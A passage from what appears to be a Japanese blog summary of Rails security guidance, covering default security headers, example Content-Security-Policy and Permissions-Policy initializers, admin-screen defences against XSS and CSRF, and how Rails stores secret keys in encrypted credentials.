X-Permitted-Cross-Domain-Policies|デフォルトでは none に設定されており、この設定では Adobe Flash や PDF クライアントが他のドメインに自分のページを埋め込むことを禁止する。CSRF 攻撃、XSS からのリソース読み込み、クリックジャッキングから保護できる。 Referrer-Policy|Referer 情報*1を設定する。デフォルトで strict-origin-when-cross-origin に設定されており、送信されるのは origin のみとなる。これにより、アクセスできる可能性のあるプライベートデータの漏洩を防止できる。

デフォルト設定を変更したい場合はデフォルトのヘッダーを設定するが参考になる。

Strict-Transport-Security ヘッダー

クライアントブラウザに対して、HTTPS 通信を要求する。Rails では config.force_ssl オプションを true にするとレスポンスに追加される。

Content-Security-Policy ヘッダー

Web ページで許可されるリソース、スクリプトスタイルシート、フォント、画像、動画などのコンテンツを指定する。

下記のように適切なイニシャライザで定義する:

# config/initializers/content_security_policy.rb
Rails.application.config.content_security_policy do |policy|
  policy.default_src :self, :https
  policy.font_src    :self, :https, :data
  policy.img_src     :self, :https, :data
  policy.object_src  :none
  policy.script_src  :self, :https
  policy.style_src   :self, :https

  # 違反レポートの送信先URIを指定する
  policy.report_uri "/csp-violation-report-endpoint"
end

グローバル設定されたポリシーは、リソース単位でオーバライドや無効化することも可能。

Feature-Policy Header(Permissions-Policy)

Web アプリケーションがブラウザ内で許可される操作やデータへのアクセスを制限できる。以下のように

下記のように適切なイニシャラライザを定義する:

# config/initializers/permissions_policy.rb
Rails.application.config.permissions_policy do |policy|
  policy.camera      :none                               # カメラへのアクセス
  policy.gyroscope   :none                               # ジャイロスコープへのアクセス
  policy.microphone  :none                               # マイクロフォンへのアクセス
  policy.usb         :none                               # USB デバイスへのアクセス
  policy.fullscreen  :self                               # フルスクリーンモード
  policy.payment     :self, "https://secure.example.com" # 支払い情報
end

グローバル設定されたポリシーは、リソース単位でオーバライドすることも可能。

イントラネットと Admin のセキュリティ

イントラネット*2や管理画面インターフェースは、特権アクセスが許可されているため攻撃目標にされやすい。また、イントラネットや管理画面インターフェースはセキュリィ対策の追加が必要だが、実施されていない場合も多い。

おそらく、内部ネットワークのシステムのため『そこまでやらなくていいだろう』という感じで対応していないケースがあるんじゃないかと思います🤔

最も脅威となるのは、XSSCSRF となっている。それらへの対応項目については以下の通り。

  • XSS
    • 許可リストによるユーザ入力へのフィルタ適応
    • Web アプリケーションからの出力を全てエスケープする
  • CSRF
    • GET と POST を適切に使い分ける
    • 必須セキュリティトークンを導入する
    • 永続化 cookie をクリアする

上記以外の対策として次のようなものもある:

  • 管理画面にロールを導入し、盗み出されたユーザ情報による影響範囲(操作範囲)を小さくする
  • 通常ログインとは別に、管理画面用の特殊なログイン認証情報を導入する
  • 極めて重要な操作では別途特殊なパスワードを要求する
  • 送信元 IP アドレスを一定の範囲に制限する

    プロキシサーバによる IP アドレス偽装ができるため注意。国内にプロキシサーバを設置し、国外からのアクセス時にプロキシサーバを経由したアクセスとすることで偽装ができる

  • 管理画面を特別なサブドメインに置き、管理アプリケーションを独立させ、独自のユーザ管理できるようにする

    ブラウザには同一オリジンポリシーがあるため、通常の www.application.com ドメインから、管理用 admin.application.com ドメインの管理者 cookie を盗むことができなくなる。

利用環境のセキュリティ

Rails秘密鍵は、セッション管理や cookie の署名などのセキュリティ目的に利用される。具体的には以下のような利用がある。

  • セッション管理

    セッションデータ内のユーザ認証情報を暗号化する

  • cookie の署名

    cookie に署名しクライアントに渡す。cookie に署名していない場合、クライアント側での改ざんが可能になる。データの完全性を確認できる

  • CSRF 対策

    リクエストフォームに秘密のトークンを含めてそれを検証し、正当なリクエストかを確認する

  • データベース暗号化

    Rails がデータベースに機密データを格納する際に、秘密鍵にて暗号化・複合を行う場合がある

  • API 検証

    Rails アプリケーションが API を提供するときに、秘密鍵を使用して認証トークンを署名し、API リクエストの正当性を確認する場合がある

Rails秘密鍵は credential ファイル(config/credentials.yml.enc) に保存される。このファイルは暗号化されており、また直接編集はできない。編集には、bin/rails credentials:edit を実行する。credential ファイルが存在しない場合は作成され、マスターキーが定義されていない場合、config/master.key が生成される。

Rails は credential ファイルを暗号化するマスターキーをもち、config/master.key または環境変数 ENV["RAILS_MASTER_KEY"] を利用する。

参考

*1:このヘッダーには、現在リクエストされているページへのリンク先を持つ直前の Web ページのアドレスが含まれる。通常クライアントがどこから来たかを識別し、分析する際に利用

*2:組織内部で使用されるプライベートなネットワークまたは Web ベースの情報システム